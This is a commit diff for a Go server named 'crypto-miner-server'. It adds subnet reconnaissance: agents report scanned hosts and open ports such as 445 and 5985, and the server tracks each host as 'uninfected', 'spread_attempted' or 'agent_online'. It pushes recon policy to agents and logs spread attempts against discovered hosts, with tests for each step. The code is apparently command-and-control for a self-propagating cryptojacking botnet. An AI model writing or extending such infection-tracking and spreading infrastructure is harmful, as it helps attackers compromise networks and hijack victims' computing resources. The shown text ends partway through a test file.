Add server subnet discovery store, API, and agent policy push.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -107,6 +107,8 @@ type ServerSettings struct {
|
||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||
// FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet).
|
||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||
SubnetReconEnabled bool `json:"subnet_recon_enabled"`
|
||||
SubnetReconIntervalMin int `json:"subnet_recon_interval_min,omitempty"`
|
||||
PolicySnapshotToken string `json:"policy_snapshot_token,omitempty"`
|
||||
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
|
||||
}
|
||||
|
||||
@@ -93,6 +93,17 @@ func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request)
|
||||
lane.Lane,
|
||||
)
|
||||
|
||||
_ = (&OathLedgerBridge{DB: f.db, Hub: f.ws}).Record(
|
||||
AuthUsername(r), dbpkg.OathSpreadDiscoveredHost, seedID, "", dbpkg.OathOutcomeSuccess,
|
||||
map[string]string{"host": req.Host, "finding": req.Finding, "join_lane": lane.Lane},
|
||||
map[string]string{"host": req.Host, "finding": req.Finding},
|
||||
)
|
||||
if f.db != nil {
|
||||
if row, err := f.db.MarkSubnetDiscoverySpreadAttempted(req.Host); err == nil && row != nil && f.ws != nil {
|
||||
f.ws.BroadcastSubnetDiscoveryUpdate(*row)
|
||||
}
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
"host": req.Host,
|
||||
|
||||
@@ -28,6 +28,8 @@ type ServerPolicy struct {
|
||||
ErasureLanesEnabled bool
|
||||
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
|
||||
FleetTorrentEnabled bool
|
||||
SubnetReconEnabled bool
|
||||
SubnetReconIntervalMin int
|
||||
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
|
||||
StrainHospiceWinRateThreshold float64
|
||||
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.
|
||||
|
||||
171
server/internal/api/subnet_discovery.go
Normal file
171
server/internal/api/subnet_discovery.go
Normal file
@@ -0,0 +1,171 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
const defaultSubnetReconIntervalMin = 30
|
||||
|
||||
type SubnetDiscoveryHandler struct {
|
||||
db *dbpkg.Database
|
||||
hub *WSHub
|
||||
}
|
||||
|
||||
func NewSubnetDiscoveryHandler(database *dbpkg.Database, hub *WSHub) *SubnetDiscoveryHandler {
|
||||
return &SubnetDiscoveryHandler{db: database, hub: hub}
|
||||
}
|
||||
|
||||
func (h *SubnetDiscoveryHandler) GetDiscoveredHosts(w http.ResponseWriter, r *http.Request) {
|
||||
if h == nil || h.db == nil {
|
||||
writeJSON(w, map[string]interface{}{"hosts": []dbpkg.SubnetDiscoveryRow{}})
|
||||
return
|
||||
}
|
||||
subnet := strings.TrimSpace(r.URL.Query().Get("subnet"))
|
||||
status := strings.TrimSpace(r.URL.Query().Get("status"))
|
||||
rows, err := h.db.ListSubnetDiscoveries(subnet, status, 500)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if rows == nil {
|
||||
rows = []dbpkg.SubnetDiscoveryRow{}
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"hosts": rows})
|
||||
}
|
||||
|
||||
func (h *WSHub) ingestSubnetReconReport(agentID string, payload json.RawMessage) {
|
||||
if h == nil || h.db == nil || agentID == "" {
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Hosts []dbpkg.SubnetDiscoveryRow `json:"hosts"`
|
||||
SubnetPrefix string `json:"subnet_prefix"`
|
||||
AgentID string `json:"agent_id"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &body); err != nil || len(body.Hosts) == 0 {
|
||||
return
|
||||
}
|
||||
reporter := strings.TrimSpace(body.AgentID)
|
||||
if reporter == "" {
|
||||
reporter = agentID
|
||||
}
|
||||
defaultPrefix := normalizeSubnetDiscoveryQueryPrefix(body.SubnetPrefix)
|
||||
for _, host := range body.Hosts {
|
||||
ip := strings.TrimSpace(host.IP)
|
||||
if ip == "" {
|
||||
continue
|
||||
}
|
||||
prefix := normalizeSubnetDiscoveryQueryPrefix(host.SubnetPrefix)
|
||||
if prefix == "" {
|
||||
prefix = defaultPrefix
|
||||
}
|
||||
if prefix == "" {
|
||||
prefix = subnetPrefix24(ip)
|
||||
}
|
||||
if host.Status == "" {
|
||||
host.Status = dbpkg.SubnetDiscoveryUninfected
|
||||
}
|
||||
row, err := h.db.UpsertSubnetDiscovery(dbpkg.SubnetDiscoveryRow{
|
||||
IP: ip,
|
||||
OpenPorts: host.OpenPorts,
|
||||
ReporterAgentID: strings.TrimSpace(host.ReporterAgentID),
|
||||
SubnetPrefix: prefix,
|
||||
HTTPTitle: host.HTTPTitle,
|
||||
Status: host.Status,
|
||||
})
|
||||
if err != nil || row == nil {
|
||||
continue
|
||||
}
|
||||
if row.ReporterAgentID == "" {
|
||||
row.ReporterAgentID = reporter
|
||||
}
|
||||
h.BroadcastSubnetDiscoveryUpdate(*row)
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) markSubnetDiscoveryAgentOnline(ip string) {
|
||||
if h == nil || h.db == nil {
|
||||
return
|
||||
}
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" {
|
||||
return
|
||||
}
|
||||
row, err := h.db.MarkSubnetDiscoveryAgentOnline(ip)
|
||||
if err != nil || row == nil {
|
||||
return
|
||||
}
|
||||
h.BroadcastSubnetDiscoveryUpdate(*row)
|
||||
}
|
||||
|
||||
func (h *WSHub) BroadcastSubnetDiscoveryUpdate(row dbpkg.SubnetDiscoveryRow) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "subnet_discovery_update", Payload: mustMarshal(row)})
|
||||
}
|
||||
|
||||
func (h *WSHub) subnetFleetIPsForRecon(agentSubnet string) []string {
|
||||
if h == nil || h.db == nil {
|
||||
return nil
|
||||
}
|
||||
agentSubnet = normalizeSubnetDiscoveryQueryPrefix(agentSubnet)
|
||||
if agentSubnet == "" {
|
||||
return nil
|
||||
}
|
||||
agents, err := h.db.ListAgentsFiltered(dbpkg.AgentListFilter{Subnet: agentSubnet + ".x", Limit: 256})
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
seen := map[string]bool{}
|
||||
var out []string
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
ip := strings.TrimSpace(ag.IP)
|
||||
if ip == "" || seen[ip] {
|
||||
continue
|
||||
}
|
||||
seen[ip] = true
|
||||
out = append(out, ip)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (h *WSHub) attachSubnetReconPolicy(resp map[string]interface{}, spreadPolicy map[string]interface{}, clientIP string) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
policy := h.serverPolicySnapshot()
|
||||
if !policy.SubnetReconEnabled {
|
||||
return
|
||||
}
|
||||
interval := policy.SubnetReconIntervalMin
|
||||
if interval <= 0 {
|
||||
interval = defaultSubnetReconIntervalMin
|
||||
}
|
||||
resp["subnet_recon_enabled"] = true
|
||||
resp["subnet_recon_interval_min"] = interval
|
||||
if fleetIPs := h.subnetFleetIPsForRecon(subnetPrefix24(clientIP)); len(fleetIPs) > 0 {
|
||||
resp["subnet_fleet_ips"] = fleetIPs
|
||||
}
|
||||
if spreadPolicy == nil {
|
||||
spreadPolicy = map[string]interface{}{}
|
||||
}
|
||||
spreadPolicy["subnet_recon_enabled"] = true
|
||||
spreadPolicy["subnet_recon_interval_min"] = interval
|
||||
resp["spread_policy"] = spreadPolicy
|
||||
}
|
||||
|
||||
func normalizeSubnetDiscoveryQueryPrefix(prefix string) string {
|
||||
prefix = strings.TrimSpace(prefix)
|
||||
prefix = strings.TrimSuffix(prefix, ".0/24")
|
||||
prefix = strings.TrimSuffix(prefix, "/24")
|
||||
prefix = strings.TrimSuffix(prefix, ".x")
|
||||
return prefix
|
||||
}
|
||||
161
server/internal/api/subnet_discovery_test.go
Normal file
161
server/internal/api/subnet_discovery_test.go
Normal file
@@ -0,0 +1,161 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
func dialDashboardWS(t *testing.T, hub *WSHub) (*websocket.Conn, *httptest.Server) {
|
||||
t.Helper()
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err != nil {
|
||||
srv.Close()
|
||||
t.Fatalf("dial dashboard: %v", err)
|
||||
}
|
||||
return conn, srv
|
||||
}
|
||||
|
||||
func TestIngestSubnetReconReportUpsertsAndBroadcasts(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
hub := NewWSHub(database)
|
||||
dashConn, dashSrv := dialDashboardWS(t, hub)
|
||||
defer dashSrv.Close()
|
||||
defer dashConn.Close()
|
||||
ports, _ := json.Marshal([]int{445, 5985})
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"subnet_prefix": "10.5.0", "agent_id": "reporter-1",
|
||||
"hosts": []map[string]interface{}{{
|
||||
"ip": "10.5.0.88", "open_ports": json.RawMessage(ports), "http_title": "File Server",
|
||||
"status": db.SubnetDiscoveryUninfected, "reporter_agent_id": "reporter-1",
|
||||
}},
|
||||
})
|
||||
hub.ingestSubnetReconReport("reporter-1", payload)
|
||||
row, err := database.GetSubnetDiscovery("10.5.0.88")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if row.SubnetPrefix != "10.5.0" || row.Status != db.SubnetDiscoveryUninfected {
|
||||
t.Fatalf("row=%+v", row)
|
||||
}
|
||||
deadline := time.Now().Add(3 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if msg.Type == "subnet_discovery_update" {
|
||||
return
|
||||
}
|
||||
}
|
||||
t.Fatal("timed out waiting for subnet_discovery_update")
|
||||
}
|
||||
|
||||
func TestGetDiscoveredHostsAPI(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
ports, _ := json.Marshal([]int{22})
|
||||
if _, err := database.UpsertSubnetDiscovery(db.SubnetDiscoveryRow{
|
||||
IP: "10.6.0.5", OpenPorts: ports, SubnetPrefix: "10.6.0", Status: db.SubnetDiscoveryUninfected,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
handler := NewSubnetDiscoveryHandler(database, nil)
|
||||
req := httptest.NewRequest(http.MethodGet, "/recon/discovered-hosts?subnet=10.6.0&status=uninfected", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
handler.GetDiscoveredHosts(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthSubnetReconPolicyPushed(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "peer-1", Name: "peer", IP: "10.7.0.2", Status: "online"})
|
||||
hub := NewWSHub(database)
|
||||
hub.SetServerPolicy(ServerPolicy{SubnetReconEnabled: true, SubnetReconIntervalMin: 15})
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "recon-agent", "hostname": "host", "platform": "windows", "version": "test", "ip": "10.7.0.9",
|
||||
})
|
||||
var body map[string]interface{}
|
||||
_ = json.Unmarshal(resp.Payload, &body)
|
||||
if body["subnet_recon_enabled"] != true {
|
||||
t.Fatalf("policy=%#v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMarkSubnetDiscoveryAgentOnlineOnAuth(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
ports, _ := json.Marshal([]int{445})
|
||||
_, _ = database.UpsertSubnetDiscovery(db.SubnetDiscoveryRow{IP: "10.8.0.40", OpenPorts: ports, SubnetPrefix: "10.8.0", Status: db.SubnetDiscoveryUninfected})
|
||||
hub := NewWSHub(database)
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
_ = authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "online-agent", "hostname": "host", "platform": "windows", "version": "test", "ip": "10.8.0.40",
|
||||
})
|
||||
row, _ := database.GetSubnetDiscovery("10.8.0.40")
|
||||
if row.Status != db.SubnetDiscoveryAgentOnline {
|
||||
t.Fatalf("got %s", row.Status)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPostSpreadToHostRecordsOathAndSpreadAttempted(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
ports, _ := json.Marshal([]int{5985})
|
||||
_, _ = database.UpsertSubnetDiscovery(db.SubnetDiscoveryRow{IP: "10.1.2.99", OpenPorts: ports, SubnetPrefix: "10.1.2", Status: db.SubnetDiscoveryUninfected})
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "seed-1", Name: "seed", IP: "10.1.2.10", Status: "online"})
|
||||
hub := NewWSHub(database)
|
||||
fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, t.TempDir())
|
||||
body, _ := json.Marshal(map[string]string{"host": "10.1.2.99", "finding": "WinRM"})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body))
|
||||
req = withAuthUser(req, "operator")
|
||||
rec := httptest.NewRecorder()
|
||||
fh.PostSpreadToHost(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
row, _ := database.GetSubnetDiscovery("10.1.2.99")
|
||||
if row.Status != db.SubnetDiscoverySpreadAttempted {
|
||||
t.Fatalf("status=%s", row.Status)
|
||||
}
|
||||
rows, _ := database.ListOathLedger(10)
|
||||
for _, e := range rows {
|
||||
if e.ActionType == db.OathSpreadDiscoveredHost {
|
||||
return
|
||||
}
|
||||
}
|
||||
t.Fatal("oath missing")
|
||||
}
|
||||
@@ -863,6 +863,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
})})
|
||||
break
|
||||
}
|
||||
h.markSubnetDiscoveryAgentOnline(clientIP)
|
||||
|
||||
if agent.Campaign != "" && (isNewAgent || (priorErr == nil && prior.Campaign == "")) {
|
||||
_ = h.db.LogCampaignEvent(agent.Campaign, agent.BuildID, db.CampaignEventAgentConnect, "ws_auth", clientIP, "")
|
||||
@@ -969,6 +970,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
h.attachSubnetReconPolicy(resp, spreadPolicy, clientIP)
|
||||
if len(spreadPolicy) > 0 {
|
||||
resp["spread_policy"] = spreadPolicy
|
||||
}
|
||||
@@ -1704,6 +1706,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
h.handleAgentFleetTorrentGossip(agentID, msg.Payload)
|
||||
|
||||
case "subnet_recon_report":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
h.ingestSubnetReconReport(agentID, msg.Payload)
|
||||
|
||||
case "command_result":
|
||||
if agentID == "" {
|
||||
continue
|
||||
|
||||
@@ -15,6 +15,7 @@ const (
|
||||
OathStrainCardPlay = "strain_card_play"
|
||||
OathCourtL4Decision = "court_l4_decision"
|
||||
OathSpreadAttempt = "spread_attempt"
|
||||
OathSpreadDiscoveredHost = "spread_discovered_host"
|
||||
OathStrainHospice = "strain_hospice"
|
||||
OathReconScan = "recon_scan"
|
||||
)
|
||||
|
||||
@@ -279,6 +279,9 @@ func (d *Database) migrate() error {
|
||||
if err := d.ensureSeerTables(); err != nil {
|
||||
return fmt.Errorf("seer migration: %w", err)
|
||||
}
|
||||
if err := d.ensureSubnetDiscoveriesTable(); err != nil {
|
||||
return fmt.Errorf("subnet_discoveries migration: %w", err)
|
||||
}
|
||||
for _, m := range extraMigrations {
|
||||
if _, err := d.Exec(m); err != nil {
|
||||
return fmt.Errorf("migration failed: %w\nSQL: %s", err, m)
|
||||
|
||||
263
server/internal/db/subnet_discoveries.go
Normal file
263
server/internal/db/subnet_discoveries.go
Normal file
@@ -0,0 +1,263 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const (
|
||||
SubnetDiscoveryUninfected = "uninfected"
|
||||
SubnetDiscoverySpreadAttempted = "spread_attempted"
|
||||
SubnetDiscoveryAgentOnline = "agent_online"
|
||||
)
|
||||
|
||||
type SubnetDiscoveryRow struct {
|
||||
IP string `json:"ip"`
|
||||
OpenPorts json.RawMessage `json:"open_ports"`
|
||||
ReporterAgentID string `json:"reporter_agent_id"`
|
||||
SubnetPrefix string `json:"subnet_prefix"`
|
||||
HTTPTitle string `json:"http_title"`
|
||||
FirstSeen string `json:"first_seen"`
|
||||
LastSeen string `json:"last_seen"`
|
||||
Status string `json:"status"`
|
||||
}
|
||||
|
||||
func (d *Database) ensureSubnetDiscoveriesTable() error {
|
||||
if d == nil {
|
||||
return nil
|
||||
}
|
||||
_, err := d.Exec(`CREATE TABLE IF NOT EXISTS subnet_discoveries (
|
||||
ip TEXT PRIMARY KEY,
|
||||
open_ports TEXT NOT NULL DEFAULT '[]',
|
||||
reporter_agent_id TEXT NOT NULL DEFAULT '',
|
||||
subnet_prefix TEXT NOT NULL DEFAULT '',
|
||||
http_title TEXT NOT NULL DEFAULT '',
|
||||
first_seen DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
last_seen DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||
status TEXT NOT NULL DEFAULT 'uninfected'
|
||||
)`)
|
||||
if err != nil {
|
||||
return fmt.Errorf("subnet_discoveries migration: %w", err)
|
||||
}
|
||||
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_subnet_discoveries_prefix ON subnet_discoveries(subnet_prefix)`)
|
||||
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_subnet_discoveries_status ON subnet_discoveries(status)`)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Database) UpsertSubnetDiscovery(row SubnetDiscoveryRow) (*SubnetDiscoveryRow, error) {
|
||||
if err := d.ensureSubnetDiscoveriesTable(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ip := strings.TrimSpace(row.IP)
|
||||
if ip == "" {
|
||||
return nil, fmt.Errorf("ip required")
|
||||
}
|
||||
now := time.Now().UTC()
|
||||
prefix := normalizeSubnetDiscoveryPrefix(row.SubnetPrefix, ip)
|
||||
portsJSON, err := marshalOpenPorts(row.OpenPorts)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
status := normalizeSubnetDiscoveryStatus(row.Status)
|
||||
reporter := strings.TrimSpace(row.ReporterAgentID)
|
||||
title := strings.TrimSpace(row.HTTPTitle)
|
||||
|
||||
var existingPorts, existingStatus string
|
||||
err = d.QueryRow(`SELECT open_ports, status FROM subnet_discoveries WHERE ip = ?`, ip).Scan(&existingPorts, &existingStatus)
|
||||
if err == nil {
|
||||
merged, mErr := mergeOpenPortsJSON(existingPorts, portsJSON)
|
||||
if mErr != nil {
|
||||
return nil, mErr
|
||||
}
|
||||
portsJSON = merged
|
||||
status = mergeSubnetDiscoveryStatus(existingStatus, status)
|
||||
_, err = d.Exec(`UPDATE subnet_discoveries SET open_ports=?, reporter_agent_id=CASE WHEN ?!='' THEN ? ELSE reporter_agent_id END,
|
||||
subnet_prefix=CASE WHEN ?!='' THEN ? ELSE subnet_prefix END, http_title=CASE WHEN ?!='' THEN ? ELSE http_title END,
|
||||
last_seen=?, status=? WHERE ip=?`, portsJSON, reporter, reporter, prefix, prefix, title, title, now, status, ip)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return d.GetSubnetDiscovery(ip)
|
||||
}
|
||||
_, err = d.Exec(`INSERT INTO subnet_discoveries (ip, open_ports, reporter_agent_id, subnet_prefix, http_title, first_seen, last_seen, status)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?)`, ip, portsJSON, reporter, prefix, title, now, now, status)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return d.GetSubnetDiscovery(ip)
|
||||
}
|
||||
|
||||
func (d *Database) GetSubnetDiscovery(ip string) (*SubnetDiscoveryRow, error) {
|
||||
if err := d.ensureSubnetDiscoveriesTable(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ip = strings.TrimSpace(ip)
|
||||
var row SubnetDiscoveryRow
|
||||
var first, last time.Time
|
||||
var portsStr string
|
||||
err := d.QueryRow(`SELECT ip, open_ports, reporter_agent_id, subnet_prefix, http_title, first_seen, last_seen, status FROM subnet_discoveries WHERE ip=?`, ip).
|
||||
Scan(&row.IP, &portsStr, &row.ReporterAgentID, &row.SubnetPrefix, &row.HTTPTitle, &first, &last, &row.Status)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
row.OpenPorts = json.RawMessage(portsStr)
|
||||
row.FirstSeen = first.UTC().Format(time.RFC3339)
|
||||
row.LastSeen = last.UTC().Format(time.RFC3339)
|
||||
return &row, nil
|
||||
}
|
||||
|
||||
func (d *Database) MarkSubnetDiscoveryAgentOnline(ip string) (*SubnetDiscoveryRow, error) {
|
||||
if err := d.ensureSubnetDiscoveriesTable(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" {
|
||||
return nil, nil
|
||||
}
|
||||
now := time.Now().UTC()
|
||||
prefix := normalizeSubnetDiscoveryPrefix("", ip)
|
||||
res, err := d.Exec(`UPDATE subnet_discoveries SET status=?, last_seen=?, subnet_prefix=CASE WHEN subnet_prefix='' THEN ? ELSE subnet_prefix END WHERE ip=?`,
|
||||
SubnetDiscoveryAgentOnline, now, prefix, ip)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
n, _ := res.RowsAffected()
|
||||
if n == 0 {
|
||||
_, err = d.Exec(`INSERT INTO subnet_discoveries (ip, open_ports, reporter_agent_id, subnet_prefix, http_title, first_seen, last_seen, status)
|
||||
VALUES (?, '[]', '', ?, '', ?, ?, ?)`, ip, prefix, now, now, SubnetDiscoveryAgentOnline)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
return d.GetSubnetDiscovery(ip)
|
||||
}
|
||||
|
||||
func (d *Database) MarkSubnetDiscoverySpreadAttempted(ip string) (*SubnetDiscoveryRow, error) {
|
||||
if err := d.ensureSubnetDiscoveriesTable(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ip = strings.TrimSpace(ip)
|
||||
if ip == "" {
|
||||
return nil, nil
|
||||
}
|
||||
now := time.Now().UTC()
|
||||
_, err := d.Exec(`UPDATE subnet_discoveries SET status=?, last_seen=? WHERE ip=?`, SubnetDiscoverySpreadAttempted, now, ip)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return d.GetSubnetDiscovery(ip)
|
||||
}
|
||||
|
||||
func (d *Database) ListSubnetDiscoveries(subnetPrefix, status string, limit int) ([]SubnetDiscoveryRow, error) {
|
||||
if err := d.ensureSubnetDiscoveriesTable(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if limit <= 0 {
|
||||
limit = 500
|
||||
}
|
||||
q := `SELECT ip, open_ports, reporter_agent_id, subnet_prefix, http_title, first_seen, last_seen, status FROM subnet_discoveries WHERE 1=1`
|
||||
var args []interface{}
|
||||
subnetPrefix = strings.TrimSpace(subnetPrefix)
|
||||
if subnetPrefix != "" {
|
||||
q += ` AND subnet_prefix LIKE ?`
|
||||
args = append(args, subnetPrefix+"%")
|
||||
}
|
||||
status = strings.TrimSpace(status)
|
||||
if status != "" {
|
||||
q += ` AND status = ?`
|
||||
args = append(args, status)
|
||||
}
|
||||
q += ` ORDER BY last_seen DESC LIMIT ?`
|
||||
args = append(args, limit)
|
||||
rows, err := d.Query(q, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []SubnetDiscoveryRow
|
||||
for rows.Next() {
|
||||
var row SubnetDiscoveryRow
|
||||
var first, last time.Time
|
||||
var portsStr string
|
||||
if err := rows.Scan(&row.IP, &portsStr, &row.ReporterAgentID, &row.SubnetPrefix, &row.HTTPTitle, &first, &last, &row.Status); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
row.OpenPorts = json.RawMessage(portsStr)
|
||||
row.FirstSeen = first.UTC().Format(time.RFC3339)
|
||||
row.LastSeen = last.UTC().Format(time.RFC3339)
|
||||
out = append(out, row)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
func normalizeSubnetDiscoveryPrefix(prefix, ip string) string {
|
||||
prefix = strings.TrimSpace(prefix)
|
||||
prefix = strings.TrimSuffix(prefix, ".x")
|
||||
prefix = strings.TrimSuffix(prefix, "/24")
|
||||
if prefix != "" {
|
||||
return prefix
|
||||
}
|
||||
parts := strings.Split(strings.TrimSpace(ip), ".")
|
||||
if len(parts) >= 3 {
|
||||
return strings.Join(parts[:3], ".")
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func normalizeSubnetDiscoveryStatus(s string) string {
|
||||
s = strings.TrimSpace(strings.ToLower(s))
|
||||
switch s {
|
||||
case SubnetDiscoverySpreadAttempted, SubnetDiscoveryAgentOnline:
|
||||
return s
|
||||
default:
|
||||
return SubnetDiscoveryUninfected
|
||||
}
|
||||
}
|
||||
|
||||
func mergeSubnetDiscoveryStatus(existing, incoming string) string {
|
||||
existing = normalizeSubnetDiscoveryStatus(existing)
|
||||
incoming = normalizeSubnetDiscoveryStatus(incoming)
|
||||
if existing == SubnetDiscoveryAgentOnline || incoming == SubnetDiscoveryAgentOnline {
|
||||
return SubnetDiscoveryAgentOnline
|
||||
}
|
||||
if existing == SubnetDiscoverySpreadAttempted || incoming == SubnetDiscoverySpreadAttempted {
|
||||
return SubnetDiscoverySpreadAttempted
|
||||
}
|
||||
return SubnetDiscoveryUninfected
|
||||
}
|
||||
|
||||
func marshalOpenPorts(raw json.RawMessage) (string, error) {
|
||||
if len(raw) == 0 {
|
||||
return "[]", nil
|
||||
}
|
||||
var ports []int
|
||||
if err := json.Unmarshal(raw, &ports); err != nil {
|
||||
return string(raw), nil
|
||||
}
|
||||
b, err := json.Marshal(ports)
|
||||
if err != nil {
|
||||
return "[]", err
|
||||
}
|
||||
return string(b), nil
|
||||
}
|
||||
|
||||
func mergeOpenPortsJSON(existing, incoming string) (string, error) {
|
||||
var a, b []int
|
||||
_ = json.Unmarshal([]byte(existing), &a)
|
||||
_ = json.Unmarshal([]byte(incoming), &b)
|
||||
seen := map[int]bool{}
|
||||
var out []int
|
||||
for _, p := range append(a, b...) {
|
||||
if p > 0 && !seen[p] {
|
||||
seen[p] = true
|
||||
out = append(out, p)
|
||||
}
|
||||
}
|
||||
if out == nil {
|
||||
out = []int{}
|
||||
}
|
||||
raw, err := json.Marshal(out)
|
||||
return string(raw), err
|
||||
}
|
||||
33
server/internal/db/subnet_discoveries_test.go
Normal file
33
server/internal/db/subnet_discoveries_test.go
Normal file
@@ -0,0 +1,33 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestUpsertSubnetDiscoveryDedupesPorts(t *testing.T) {
|
||||
database, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
portsA, _ := json.Marshal([]int{22})
|
||||
portsB, _ := json.Marshal([]int{22, 80})
|
||||
if _, err := database.UpsertSubnetDiscovery(SubnetDiscoveryRow{IP: "10.1.1.5", OpenPorts: portsA, SubnetPrefix: "10.1.1", Status: SubnetDiscoveryUninfected}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
